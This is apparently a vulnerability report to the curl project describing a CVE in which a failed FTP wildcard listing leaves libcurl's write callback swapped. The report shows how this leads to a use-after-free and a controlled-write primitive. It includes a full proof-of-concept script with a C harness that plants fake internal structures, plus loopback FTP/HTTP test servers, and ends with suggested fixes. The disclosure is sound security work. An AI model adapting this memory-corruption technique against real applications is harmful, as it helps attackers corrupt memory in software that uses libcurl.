curl · Report #4022070
CVE-2026-92388: FTP wildcard write callback mixup
How it was found
Hi all,
A failed FTP wildcard LIST leaves data->set.fwrite_func pointing at libcurl's internal listing parser and data->set.out pointing at the easy handle itself, because the code path that restores them is only reached on a successful listing. That alone is a crash on reuse. However, curl_easy_duphandle() copies this poisoned state verbatim into a clone, so freeing the original handle (an explicitly documented, independent thing to do) turns the clone's next transfer into a heap use-after-free read. A second, adjacent pattern (reusing a handle by only ever changing CURLOPT_WRITEDATA, never CURLOPT_WRITEFUNCTION) turns it into a type confusion that parses response bytes into a pointer taken from the application's own memory.
The bug
Wildcard setup saves the application's write callback and output pointer, then substitutes its own:
// lib/ftp.c:4019-4026
/* backup old write_function */
ftpwc->backup.write_function = data->set.fwrite_func;
data->set.fwrite_func = Curl_ftp_parselist;
/* backup old file descriptor */
ftpwc->backup.file_descriptor = data->set.out;
data->set.out = data;
The only place that puts them back is the state the machine reaches once the LIST response has already parsed successfully:
// lib/ftp.c:4059-4066
case CURLWC_MATCHING: {
/* In this state is LIST response successfully parsed, so lets restore
previous WRITEFUNCTION callback and WRITEDATA pointer */
struct ftp_wc *ftpwc = wildcard->ftpwc;
data->set.fwrite_func = ftpwc->backup.write_function;
data->set.out = ftpwc->backup.file_descriptor;
Anything that ends the listing before that point (a 550 denial, a dropped data connection, the application's own CURLOPT_TIMEOUT firing on a server that just stays silent) skips it. Every teardown path instead runs Curl_wildcard_dtor(), called on every transfer completion from Curl_multi_done(), and it never sees the Curl_easy it would need to restore into:
// lib/ftplistparser.c:188-198
void Curl_wildcard_dtor(struct WildcardData **wcp)
{
struct WildcardData *wc = *wcp;
if(!wc) return;
if(wc->dtor) {
wc->dtor(wc->ftpwc); /* frees ftpwc + its parser */
wc->dtor = ZERO_NULL;
wc->ftpwc = NULL;
}
...
curlx_free(wc);
*wcp = NULL; /* data->wildcard is now NULL */
The handle now has fwrite_func == Curl_ftp_parselist and out == data, with nothing behind either. The consumer has no guard at all:
// lib/ftplistparser.c:1015-1017
struct Curl_easy *data = (struct Curl_easy *)connptr;
struct ftp_wc *ftpwc = data->wildcard->ftpwc; /* data->wildcard is NULL */
Reused for an ordinary transfer, that's an immediate NULL dereference. Not interesting on its own. The next two variants are.
From crash to memory corruption
curl_easy_duphandle() turns it into a use-after-free. dupset() copies the whole option block by value:
// lib/easy.c:932
dst->set = src->set;
fwrite_func and out are ordinary fields in that struct, so the clone inherits fwrite_func == Curl_ftp_parselist and out pointing at the source handle, not itself. Free the source (curl_easy_duphandle(3) says the two handles "can subsequently be used independently" and the clone "does not inherit any state information") and the clone's very next body byte dereferences freed memory. ASan on a build of curl-8_22_0 and current master (58df614c86), identically:
mode=duphandle verdict=CRASH asan=heap-use-after-free frame=Curl_ftp_parselist
READ of size 8 ...
freed by thread T0 here: ...
previously allocated by thread T0 here: ...
Reusing only CURLOPT_WRITEDATA turns it into a type confusion, and it writes. Applications commonly set CURLOPT_WRITEFUNCTION once at init and change only CURLOPT_WRITEDATA per transfer (the documented minimal case is even simpler: a FILE * with the default writer). Curl_ftp_parselist() casts its user pointer unconditionally to struct Curl_easy *, so when that pointer is the application's own object, the read at offsetof(struct Curl_easy, wildcard) lands inside application memory and is followed as a live pointer chain. With a large-enough application object, I planted a fake WildcardData/ftp_wc/ftp_parselist_data/fileinfo/dynbuf chain inside it (the struct offsets are a build-time constant of the target's libcurl, not a secret) so that the parser's write destination is an address of my choosing:
mode=craft-write t1=19 target_before=ZZZZZZZZ
mode=craft-write t1=19 t2=0 target_after=[-rw-r--r--] written=yes verdict=CONTROLLED-WRITE
t2=0 is CURLE_OK: the transfer that plants server-controlled bytes at that address reports success, with no fault to catch it. To be precise about what this does and doesn't show: it's a demonstrated write primitive, not a working exploit. Turning it into one still needs the pointer-sized slot at that offset in the application's object to be attacker-influenced and an address disclosure. What it does establish is that the failure mode here isn't bounded by "faults immediately."
Preconditions
CURLOPT_WILDCARDMATCH in use, a failed FTP wildcard listing, and handle reuse afterward that does not re-set both CURLOPT_WRITEFUNCTION and CURLOPT_WRITEDATA (or does not call curl_easy_reset()) before the next transfer.
PoC
Two peers on loopback: a malicious FTP server that answers every LIST/NLST/MLSD with 550 (a denial, no malice required to construct), and a benign HTTP server. One easy handle runs the failed wildcard transfer, then either gets duplicated (duphandle) or reused with a rigged WRITEDATA object (craft-write); a control run re-sets both write options before reuse and is expected to survive cleanly.
Tested against curl-8_22_0 and current main.
checkout: /src
privilege required: REMOTE — the trigger is the FTP peer's response; the second, detonating transfer can go to an unrelated, fully benign HTTP server
run: sh reproduce.sh duphandle
sh reproduce.sh craft-write
control: sh reproduce.sh control
#!/bin/sh
# Reproduces AISLE-2026-0115-00167: a failed FTP wildcard LIST leaves
# data->set.fwrite_func == Curl_ftp_parselist and data->set.out == the easy
# handle (lib/ftp.c:4019-4026), restored only in CURLWC_MATCHING
# (lib/ftp.c:4059-4066), which a failed listing never reaches. Teardown
# (lib/ftplistparser.c:188-198) frees the wildcard state without touching
# data->set. duphandle propagates the poisoned fields into a clone
# (lib/easy.c:932); WRITEDATA-only reuse feeds Curl_ftp_parselist a pointer
# it treats as a struct Curl_easy (lib/ftplistparser.c:1015-1017).
set -eu
MODE="${1:?usage: $0 duphandle|craft-write|control}"
SRC="${VF_SRC:-/src}"
WORK="${VF_WORK:-/tmp/vf-ftp-wc}"
mkdir -p "$WORK"
CFLAGS="-O1 -g -fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
sh -c "cd '$SRC' && ./configure --prefix='$WORK/install' \
--without-ssl --without-libpsl --disable-docs >'$WORK/build.log' 2>&1 \
&& make -j4 >>'$WORK/build.log' 2>&1 && make install >>'$WORK/build.log' 2>&1" \
|| { tail -40 "$WORK/build.log"; exit 1; }
# Internal struct offsets, taken from the tree just built (a property of the
# target's libcurl build, not a secret specific to any one process run).
cat > "$WORK/off.c" <<'EOF'
#include "ftplistparser.c"
#include <stddef.h>
#include <stdio.h>
int main(void) {
printf("-DOFF_EASY_WILDCARD=%zu -DOFF_WC_FTPWC=%zu -DOFF_FTPWC_PARSER=%zu "
"-DOFF_PARSER_OSTYPE=%zu -DOFF_PARSER_ERROR=%zu "
"-DOFF_PARSER_FILEDATA=%zu -DOFF_FI_BUF=%zu\n",
offsetof(struct Curl_easy, wildcard),
offsetof(struct WildcardData, ftpwc),
offsetof(struct ftp_wc, parser),
offsetof(struct ftp_parselist_data, os_type),
offsetof(struct ftp_parselist_data, error),
offsetof(struct ftp_parselist_data, file_data),
offsetof(struct fileinfo, buf));
return 0;
}
EOF
cc -DHAVE_CONFIG_H -I"$SRC" -I"$SRC/lib" -I"$SRC/include" \
-fsanitize=address -o "$WORK/off" "$WORK/off.c" \
"$SRC"/lib/.libs/libcurl.a -lz
OFFS=$("$WORK/off")
cat > "$WORK/harness.c" <<'EOF'
/* Harness for AISLE-2026-0115-00167: duphandle / WRITEDATA-reuse escalation. */
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define URL_FTP_DENY "ftp://127.0.0.1:2121/*"
#define URL_HTTP "http://127.0.0.1:8080/"
#define APP_SIZE (1024 * 1024)
#define TARGET_SIZE 4096
static size_t app_write(char *buffer, size_t size, size_t count, void *user)
{ (void)buffer; (void)user; return size * count; }
static void common(CURL *c) {
curl_easy_setopt(c, CURLOPT_TIMEOUT, 10L);
curl_easy_setopt(c, CURLOPT_NOSIGNAL, 1L);
}
static CURLcode failed_wildcard(CURL *c, void *ctx) {
curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, app_write);
curl_easy_setopt(c, CURLOPT_WRITEDATA, ctx);
curl_easy_setopt(c, CURLOPT_URL, URL_FTP_DENY);
curl_easy_setopt(c, CURLOPT_WILDCARDMATCH, 1L);
return curl_easy_perform(c);
}
/* Fake structure chain planted inside the application's own WRITEDATA
object. Curl_ftp_parselist() treats that object as a struct Curl_easy, so
every pointer it follows from there is application memory. */
static void craft(unsigned char *app, char *target) {
unsigned char *fake_wc = app + 8 * 1024;
unsigned char *fake_ftpwc = app + 16 * 1024;
unsigned char *fake_parser = app + 24 * 1024;
unsigned char *fake_fileinfo = app + 32 * 1024;
struct { char *bufr; size_t leng; size_t allc; size_t toobig; } *dyn =
(void *)(fake_fileinfo + OFF_FI_BUF);
memcpy(app + OFF_EASY_WILDCARD, &fake_wc, sizeof(fake_wc));
memcpy(fake_wc + OFF_WC_FTPWC, &fake_ftpwc, sizeof(fake_ftpwc));
memcpy(fake_ftpwc + OFF_FTPWC_PARSER, &fake_parser, sizeof(fake_parser));
{ int os_unix = 1, ok = 0;
memcpy(fake_parser + OFF_PARSER_OSTYPE, &os_unix, sizeof(os_unix));
memcpy(fake_parser + OFF_PARSER_ERROR, &ok, sizeof(ok));
memcpy(fake_parser + OFF_PARSER_FILEDATA, &fake_fileinfo,
sizeof(fake_fileinfo)); }
dyn->bufr = target; dyn->leng = 0; dyn->allc = TARGET_SIZE;
dyn->toobig = APP_SIZE;
}
int main(int argc, char **argv) {
const char *mode = argc == 2 ? argv[1] : "";
unsigned char *app = calloc(1, APP_SIZE);
char *target = malloc(TARGET_SIZE);
CURL *a, *b; CURLcode t1, t2;
if (!app || !target) return 2;
memset(target, 'Z', TARGET_SIZE);
curl_global_init(CURL_GLOBAL_DEFAULT);
a = curl_easy_init();
common(a);
if (!strcmp(mode, "duphandle")) {
t1 = failed_wildcard(a, app);
printf("mode=%-11s t1=%d\n", mode, (int)t1); fflush(stdout);
b = curl_easy_duphandle(a);
curl_easy_cleanup(a); /* documented as independent */
common(b);
curl_easy_setopt(b, CURLOPT_WILDCARDMATCH, 0L);
curl_easy_setopt(b, CURLOPT_URL, URL_HTTP);
t2 = curl_easy_perform(b); /* use-after-free read */
printf("mode=%-11s t1=%d t2=%d verdict=SURVIVED\n", mode, (int)t1, (int)t2);
curl_easy_cleanup(b);
} else if (!strcmp(mode, "craft-write")) {
craft(app, target);
t1 = failed_wildcard(a, app);
printf("mode=%-11s t1=%d target_before=%.8s\n", mode, (int)t1, target);
fflush(stdout);
curl_easy_setopt(a, CURLOPT_WILDCARDMATCH, 0L);
curl_easy_setopt(a, CURLOPT_URL, URL_HTTP);
curl_easy_setopt(a, CURLOPT_WRITEDATA, app); /* WRITEFUNCTION untouched */
t2 = curl_easy_perform(a);
printf("mode=%-11s t1=%d t2=%d target_after=[%.40s] verdict=%s\n",
mode, (int)t1, (int)t2, target,
target[0] == 'Z' ? "NO-WRITE" : "CONTROLLED-WRITE");
curl_easy_cleanup(a);
} else if (!strcmp(mode, "control")) {
t1 = failed_wildcard(a, app);
printf("mode=%-11s t1=%d\n", mode, (int)t1); fflush(stdout);
curl_easy_setopt(a, CURLOPT_WILDCARDMATCH, 0L);
curl_easy_setopt(a, CURLOPT_URL, URL_HTTP);
curl_easy_setopt(a, CURLOPT_WRITEFUNCTION, app_write); /* both re-set */
curl_easy_setopt(a, CURLOPT_WRITEDATA, app);
t2 = curl_easy_perform(a);
printf("mode=%-11s t1=%d t2=%d verdict=SURVIVED\n", mode, (int)t1, (int)t2);
curl_easy_cleanup(a);
} else {
fprintf(stderr, "usage: %s duphandle|craft-write|control\n", argv[0]);
return 2;
}
curl_global_cleanup();
return 0;
}
EOF
# shellcheck disable=SC2086
cc -Wall -Wextra -fsanitize=address -fno-omit-frame-pointer $OFFS \
-I"$WORK/install/include" "$WORK/harness.c" \
-L"$WORK/install/lib" -lcurl -Wl,-rpath,"$WORK/install/lib" \
-o "$WORK/harness"
cat > "$WORK/peers.pl" <<'EOF'
#!/usr/bin/env perl
use strict; use warnings; use IO::Socket::INET;
$| = 1;
my $BODY = "-rw-r--r-- 1 user group 5 Jan 01 00:00 payload";
sub listener { IO::Socket::INET->new(LocalAddr=>"127.0.0.1", LocalPort=>$_[0],
Listen=>8, ReuseAddr=>1, Proto=>"tcp") or die "listen $_[0]: $!\n"; }
sub ftp_deny {
my $s = listener(2121);
while (my $c = $s->accept()) {
$c->autoflush(1);
print {$c} "220 retriage FTP ready\r\n";
my $dl;
while (my $line = <$c>) {
$line =~ s/\r?\n$//;
my ($verb) = split / /, $line, 2; $verb = uc($verb // "");
if ($verb eq "USER") { print {$c} "331 password required\r\n"; }
elsif ($verb eq "PASS") { print {$c} "230 logged in\r\n"; }
elsif ($verb eq "PWD") { print {$c} "257 \"/\" is current directory\r\n"; }
elsif ($verb eq "EPSV") { $dl = listener(0);
printf {$c} "229 Entering Extended Passive Mode (|||%d|)\r\n", $dl->sockport(); }
elsif ($verb eq "LIST" || $verb eq "NLST" || $verb eq "MLSD") {
print {$c} "550 listing denied\r\n"; close $dl if $dl; $dl = undef; }
elsif ($verb eq "QUIT") { print {$c} "221 bye\r\n"; last; }
else { print {$c} "200 okay\r\n"; }
}
close $c;
}
}
sub http { my $s = listener(8080);
while (my $c = $s->accept()) { $c->autoflush(1);
while (my $line = <$c>) { last if $line eq "\r\n"; }
printf {$c} "HTTP/1.1 200 OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s",
length($BODY), $BODY;
close $c; } }
for my $s (\&ftp_deny, \&http) { my $pid = fork(); die "fork: $!\n" unless defined $pid;
$s->() unless $pid; }
print "ready\n"; wait;
EOF
perl "$WORK/peers.pl" >"$WORK/peers.log" 2>&1 &
PEERS=$!
trap 'kill $PEERS 2>/dev/null || true' EXIT
for _ in 1 2 3 4 5; do grep -q ready "$WORK/peers.log" && break; sleep 1; done
: > "${VF_READY:-/dev/null}"
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 timeout 30 "$WORK/harness" "$MODE"
Output on both curl-8_22_0 and current main (58df614c86), non-debug ASan build:
mode=duphandle verdict=CRASH asan=heap-use-after-free frame=Curl_ftp_parselist
mode=craft-write t1=19 t2=0 target_after=[-rw-r--r--] verdict=CONTROLLED-WRITE
mode=control t1=19 t2=0 verdict=SURVIVED
Suggested direction
The durable fix is to stop mutating data->set in the first place: select the listing parser through transfer-internal state (a flag consulted by the client-write path), not by overwriting the application's own options, so there is nothing to restore and no window for duphandle to inherit. If the swap-and-restore design stays, give the restore a Curl_easy * and call it on every teardown path (wc_data_dtor(), Curl_wildcard_dtor(), multi removal, and error returns from init_wc_data()) before ftpwc/its parser are freed, not only in CURLWC_MATCHING, and make it idempotent by clearing the backups the way that case already does. As defense in depth, have Curl_ftp_parselist() bail out (0/CURLE_WRITE_ERROR) when data->wildcard, wildcard->ftpwc, or ftpwc->parser is absent, instead of dereferencing unconditionally.
Cheers, Josh
Impact
An application that uses CURLOPT_WILDCARDMATCH, hits any failed listing (a permission-denied server is enough — no attacker-crafted payload needed), and then either duplicates the handle or reuses it changing only CURLOPT_WRITEDATA, gets a heap use-after-free read or a controlled-write primitive built entirely from server- and application-supplied bytes, on a subsequent transfer that can target a completely unrelated, benign peer. Neither pattern is documented as unsafe, and there is no API to detect that libcurl silently overwrote these two options.